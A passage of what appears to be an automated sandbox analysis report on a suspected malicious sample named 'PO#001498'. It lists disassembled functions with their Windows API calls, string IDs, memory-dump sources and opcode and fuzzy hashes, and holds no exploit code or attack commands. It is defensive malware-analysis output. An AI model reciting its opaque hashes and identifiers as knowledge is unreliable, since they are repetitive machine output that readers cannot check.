                                                                                                                                                                                                        • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043354F
                                                                                                                                                                                                        • OleLoadPicture.OLEAUT32(?,00000000,00000000,00482A20,?), ref: 00433568
                                                                                                                                                                                                        • GlobalFree.KERNEL32(00000000), ref: 0043357B
                                                                                                                                                                                                        • GetObjectW.GDI32(?,00000018,?), ref: 004335A6
                                                                                                                                                                                                        • CopyImage.USER32(?,00000000,?,?,00002000), ref: 004335DB
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 00433603
                                                                                                                                                                                                        • SendMessageW.USER32(?,00000172,00000000,?), ref: 0043361B
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Global$File$CreateObject$AllocCloseCopyDeleteFreeHandleImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3969911579-0
                                                                                                                                                                                                        • Opcode ID: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
                                                                                                                                                                                                        • Instruction ID: 5aed18668fdc988692497ed4484016cc97142e8c7c748bcd34b77a3330007e11
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 70410471204210AFD710DF64DC88F6BBBE8FB89711F10492DFA45972A0D7B5A941CBAA
                                                                                                                                                                                                        Function 00445A77 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 73windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetParent.USER32 ref: 00445A8D
                                                                                                                                                                                                        • GetClassNameW.USER32(00000000,?,00000100), ref: 00445AA0
                                                                                                                                                                                                        • __wcsicoll.LIBCMT ref: 00445AC4
                                                                                                                                                                                                        • __wcsicoll.LIBCMT ref: 00445AE0
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00445B3D
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __wcsicoll$ClassMessageNameParentSend
                                                                                                                                                                                                        • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                                                                                                                                                                        • API String ID: 3125838495-3381328864
                                                                                                                                                                                                        • Opcode ID: 6f6f70247b4827d2a410ddc22f410c306ecb8b2e46d0c95c17204de523c723c4
                                                                                                                                                                                                        • Instruction ID: 9ea7b4bfd8e333fc3d4c3d1cc69785ca983c3453aa66f955cff8de8c622a02b1
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6f6f70247b4827d2a410ddc22f410c306ecb8b2e46d0c95c17204de523c723c4
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F011E9B1B40301BBFF10B6659C46EAF739CDF94759F00081BFD44E6182F6ACA9458769
                                                                                                                                                                                                        Function 00479921 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 314COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CopyVariant$ErrorLast
                                                                                                                                                                                                        • String ID: Conversion of parameters failed$NULL Pointer assignment$Not an Object type
                                                                                                                                                                                                        • API String ID: 2286883814-4206948668
                                                                                                                                                                                                        • Opcode ID: 2f6e4bc4aaf8f7a3794965dba448b56a5b6575b3b05f264a778baa01eb75d6f6
                                                                                                                                                                                                        • Instruction ID: 5c76bcf0434180a49ef26f8382d3619d889c8a8ee3f63882ad125ac36acecb62
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2f6e4bc4aaf8f7a3794965dba448b56a5b6575b3b05f264a778baa01eb75d6f6
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4EA1F0B1644300ABD620EB25CC81EABB3E9FBC4704F10891EF65987251D779E945CBAA
                                                                                                                                                                                                        Function 00475D8B Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 194COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0045335B: CharLowerBuffW.USER32(?,?,?,0045D9DB,?,?,?), ref: 0045336E
                                                                                                                                                                                                          • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                                                                                                                                        • GetDriveTypeW.KERNEL32(?,?,00000061), ref: 00475EEC
                                                                                                                                                                                                        • _wcscpy.LIBCMT ref: 00475F18
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: BuffCharDriveLowerType_wcscpy_wcslen
                                                                                                                                                                                                        • String ID: a$all$cdrom$fixed$network$ramdisk$removable$unknown$HH
                                                                                                                                                                                                        • API String ID: 3052893215-4176887700
                                                                                                                                                                                                        • Opcode ID: 531685fb0cf90d6ae2ec3f9560420c3d557b818d2d0e5f32259ad5e7ccb69ffd
                                                                                                                                                                                                        • Instruction ID: 30c0e749cffa51fc832ec364bb88d57898ea161693411a08ebb212f54f1b1ce2
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 531685fb0cf90d6ae2ec3f9560420c3d557b818d2d0e5f32259ad5e7ccb69ffd
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E951E5716047009BC710EF51D981B9BB3D4AB85705F108C2FF948AB382D7B9DE09879B
                                                                                                                                                                                                        Function 004582BF Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 165registryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • StringFromIID.OLE32(?,?,00000003,?,?,00000000), ref: 004582E5
                                                                                                                                                                                                          • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                                                          • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                                                          • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                        • CoTaskMemFree.OLE32(?,00000000), ref: 00458335
                                                                                                                                                                                                        • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 00458351
                                                                                                                                                                                                        • RegQueryValueExW.ADVAPI32 ref: 00458381
                                                                                                                                                                                                        • CLSIDFromString.OLE32(00000000,?), ref: 004583AF
                                                                                                                                                                                                        • RegQueryValueExW.ADVAPI32 ref: 004583E8
                                                                                                                                                                                                        • LoadRegTypeLib.OLEAUT32(?,?), ref: 00458486
                                                                                                                                                                                                          • Part of subcall function 00413F97: __wtof_l.LIBCMT ref: 00413FA1
                                                                                                                                                                                                        • RegCloseKey.ADVAPI32(?), ref: 004584BA
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FromQueryStringValue_wcslen$CloseFreeLoadOpenTaskType__wtof_l_wcscpy
                                                                                                                                                                                                        • String ID: Version$\TypeLib$interface\
                                                                                                                                                                                                        • API String ID: 656856066-939221531
                                                                                                                                                                                                        • Opcode ID: fae0be2ce993580ee9701cb6b1f6a998fde8705fa16d3e1feab2af977247b743
                                                                                                                                                                                                        • Instruction ID: 73379605cfaaf105ee685c6daddaf2c4824f5dc828714578f474d0d05c7db838
                                                                                                                                                                                                        • Opcode Fuzzy Hash: fae0be2ce993580ee9701cb6b1f6a998fde8705fa16d3e1feab2af977247b743
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 19513B715083059BD310EF55D944A6FB3E8FFC8B08F004A2DF985A7251EA78DD09CB9A
                                                                                                                                                                                                        Function 0045E62E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 155COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E676
                                                                                                                                                                                                          • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                        • LoadStringW.USER32(?,?,?,00000FFF), ref: 0045E69A
                                                                                                                                                                                                        • __swprintf.LIBCMT ref: 0045E6EE
                                                                                                                                                                                                        • _printf.LIBCMT ref: 0045E7A9
                                                                                                                                                                                                        • _printf.LIBCMT ref: 0045E7D2
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: LoadString_printf$__swprintf_wcslen
                                                                                                                                                                                                        • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                                                                                                                                                                        • API String ID: 3590180749-2354261254
                                                                                                                                                                                                        • Opcode ID: fd3ade05fede2dfa3d14bccfacac15f81e3d16141c85e45952f832d3a26197ce
                                                                                                                                                                                                        • Instruction ID: 835382aeb01427732dc6b750cf2ba574ed77461063debdd42288bdc21f9728b4
                                                                                                                                                                                                        • Opcode Fuzzy Hash: fd3ade05fede2dfa3d14bccfacac15f81e3d16141c85e45952f832d3a26197ce
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B051D5715143019BD324FB51CC41EAF77A8AF84354F14093FF94563292DB78AE49CB6A
                                                                                                                                                                                                        Function 004580E1 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 136registryshareCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                        • _memset.LIBCMT ref: 00458194
                                                                                                                                                                                                        • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 004581D6
                                                                                                                                                                                                        • RegConnectRegistryW.ADVAPI32(?,80000002,00000000), ref: 004581F4
                                                                                                                                                                                                        • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,00000000), ref: 00458219
                                                                                                                                                                                                        • RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,?,?), ref: 00458248
                                                                                                                                                                                                        • CLSIDFromString.OLE32(00000000,?), ref: 00458279
                                                                                                                                                                                                        • RegCloseKey.ADVAPI32(00000000), ref: 0045828F
                                                                                                                                                                                                        • RegCloseKey.ADVAPI32(00000000), ref: 00458296
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memset_wcslen
                                                                                                                                                                                                        • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                                                                                                                                                                        • API String ID: 2255324689-22481851
                                                                                                                                                                                                        • Opcode ID: 40f125b4ffe5f12493adc0cb93ab67eb911e8c28f62e3d79c4190a4fe5521cad
                                                                                                                                                                                                        • Instruction ID: 0916ae95de1959dc40878de41837780f7e862baf069d4d5c3429810960799c2e
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 40f125b4ffe5f12493adc0cb93ab67eb911e8c28f62e3d79c4190a4fe5521cad
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4A4190725083019BD320EF54C845B5FB7E8AF84714F044D2EFA8577291DBB8E949CB9A
                                                                                                                                                                                                        Function 004584D6 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 105registryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • RegOpenKeyExW.ADVAPI32(80000000,interface,00000000,00020019,?), ref: 00458513
                                                                                                                                                                                                        • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 00458538
                                                                                                                                                                                                        • RegCloseKey.ADVAPI32(?), ref: 00458615
                                                                                                                                                                                                          • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                        • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,000001FE,interface\), ref: 0045858A
                                                                                                                                                                                                        • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,00000028), ref: 004585A8
                                                                                                                                                                                                        • __wcsicoll.LIBCMT ref: 004585D6
                                                                                                                                                                                                        • IIDFromString.OLE32(?,?,?,?), ref: 004585EB
                                                                                                                                                                                                        • RegCloseKey.ADVAPI32(?), ref: 004585F8
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CloseOpen$EnumFromQueryStringValue__wcsicoll_wcslen
                                                                                                                                                                                                        • String ID: ($interface$interface\
                                                                                                                                                                                                        • API String ID: 2231185022-3327702407
                                                                                                                                                                                                        • Opcode ID: f3ba987632fb2ab980929a1e8c26c1d4f1068388d2a95cb25d4e52b6d927b3fe
                                                                                                                                                                                                        • Instruction ID: 2ed788c9a442d2de66cb2a0eaf665167c450c6ff9570aaff4df7cfaf3afbbce1
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f3ba987632fb2ab980929a1e8c26c1d4f1068388d2a95cb25d4e52b6d927b3fe
                                                                                                                                                                                                        • Instruction Fuzzy Hash: CE317271204305ABE710DF54DD85F6BB3E8FB84744F10492DF685A6191EAB8E908C76A
                                                                                                                                                                                                        Function 00436582 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 79networkCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • WSAStartup.WSOCK32(00000101,?), ref: 004365A5
                                                                                                                                                                                                        • gethostname.WSOCK32(00000100,00000100,00000101,?), ref: 004365BC
                                                                                                                                                                                                        • gethostbyname.WSOCK32(00000101,00000100,00000100,00000101,?), ref: 004365C6
                                                                                                                                                                                                        • _wcscpy.LIBCMT ref: 004365F5
                                                                                                                                                                                                        • WSACleanup.WSOCK32 ref: 004365FD
                                                                                                                                                                                                        • inet_ntoa.WSOCK32(00000100,?), ref: 00436624
                                                                                                                                                                                                        • _strcat.LIBCMT ref: 0043662F
                                                                                                                                                                                                        • _wcscpy.LIBCMT ref: 00436644
                                                                                                                                                                                                        • WSACleanup.WSOCK32(?,?,?,?,?,?,00000100,?), ref: 00436652
                                                                                                                                                                                                        • _wcscpy.LIBCMT ref: 00436666
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _wcscpy$Cleanup$Startup_strcatgethostbynamegethostnameinet_ntoa
                                                                                                                                                                                                        • String ID: 0.0.0.0
                                                                                                                                                                                                        • API String ID: 2691793716-3771769585
                                                                                                                                                                                                        • Opcode ID: 65646d0c3f70c30576c3209c49215e1e6413ca059fa52035c9da78ad10046a0d
                                                                                                                                                                                                        • Instruction ID: 29d249c793a1599df1911ffab6ed89036a29d54f41df1114d8fa63e2d2305339
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 65646d0c3f70c30576c3209c49215e1e6413ca059fa52035c9da78ad10046a0d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 5C21D4726003016BD620FB269C42FFF33A89FD4318F54492FF64456242EABDD58983AB
                                                                                                                                                                                                        Function 00416B12 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetModuleHandleW.KERNEL32(KERNEL32.DLL,0048C968,0000000C,00416C4D,00000000,00000000,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416B24
                                                                                                                                                                                                        • __crt_waiting_on_module_handle.LIBCMT ref: 00416B2F
                                                                                                                                                                                                          • Part of subcall function 0041177F: Sleep.KERNEL32(000003E8,?,?,00416A38,KERNEL32.DLL,?,00411B0C,?,00413973,00411739,?,?,00411739,?,00401C0B), ref: 0041178B
                                                                                                                                                                                                          • Part of subcall function 0041177F: GetModuleHandleW.KERNEL32(00411739,?,?,00416A38,KERNEL32.DLL,?,00411B0C,?,00413973,00411739,?,?,00411739,?,00401C0B), ref: 00411794
                                                                                                                                                                                                        • GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00416B58
                                                                                                                                                                                                        • GetProcAddress.KERNEL32(00411739,DecodePointer), ref: 00416B68
                                                                                                                                                                                                        • __lock.LIBCMT ref: 00416B8A
                                                                                                                                                                                                        • InterlockedIncrement.KERNEL32(00EA60FF), ref: 00416B97
                                                                                                                                                                                                        • __lock.LIBCMT ref: 00416BAB
                                                                                                                                                                                                        • ___addlocaleref.LIBCMT ref: 00416BC9
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
                                                                                                                                                                                                        • String ID: DecodePointer$EncodePointer$KERNEL32.DLL
                                                                                                                                                                                                        • API String ID: 1028249917-2843748187
                                                                                                                                                                                                        • Opcode ID: 149215eb9963fdce733e6eee9b7d54027110d9b9ecd285c2a82fe369659baa59
                                                                                                                                                                                                        • Instruction ID: dfb830706c011728ae11a8c0f52cb2fa371409e71f4acd403326aacb15a29bdd
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 149215eb9963fdce733e6eee9b7d54027110d9b9ecd285c2a82fe369659baa59
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4E119671944701AFD720EF76C905B9EBBE0AF00714F10495FE469A6391DB78A580CB1D
                                                                                                                                                                                                        Function 0044920C Relevance: 18.2, APIs: 12, Instructions: 243windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageW.USER32(?,00000000,000000FF,?), ref: 0044931D
                                                                                                                                                                                                        • SendMessageW.USER32(?,0045BBB0,00000000,00000000), ref: 0044932D
                                                                                                                                                                                                        • CharNextW.USER32(?,?,?,?,0045BBB0,00000000,00000000,?,?), ref: 00449361
                                                                                                                                                                                                        • SendMessageW.USER32(?,?,00000000,00000000), ref: 00449375
                                                                                                                                                                                                        • SendMessageW.USER32(?,00000402,?), ref: 0044941C
                                                                                                                                                                                                        • SendMessageW.USER32(004A83D8,000000C2,00000001,?), ref: 004494A0
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001002,00000000,?), ref: 00449515
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$CharNext
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1350042424-0
                                                                                                                                                                                                        • Opcode ID: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
                                                                                                                                                                                                        • Instruction ID: cf19a455924c4199ae2d31ef2e344bdd2865620a2145bd440d1f5c61272ee54d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 5D81B5312083019BE720DF15DC85FBBB7E4EBD9B20F00492EFA54962C0D7B99946D766
                                                                                                                                                                                                        Function 00453B94 Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON
                                                                                                                                                                                                        Download Yara Rule
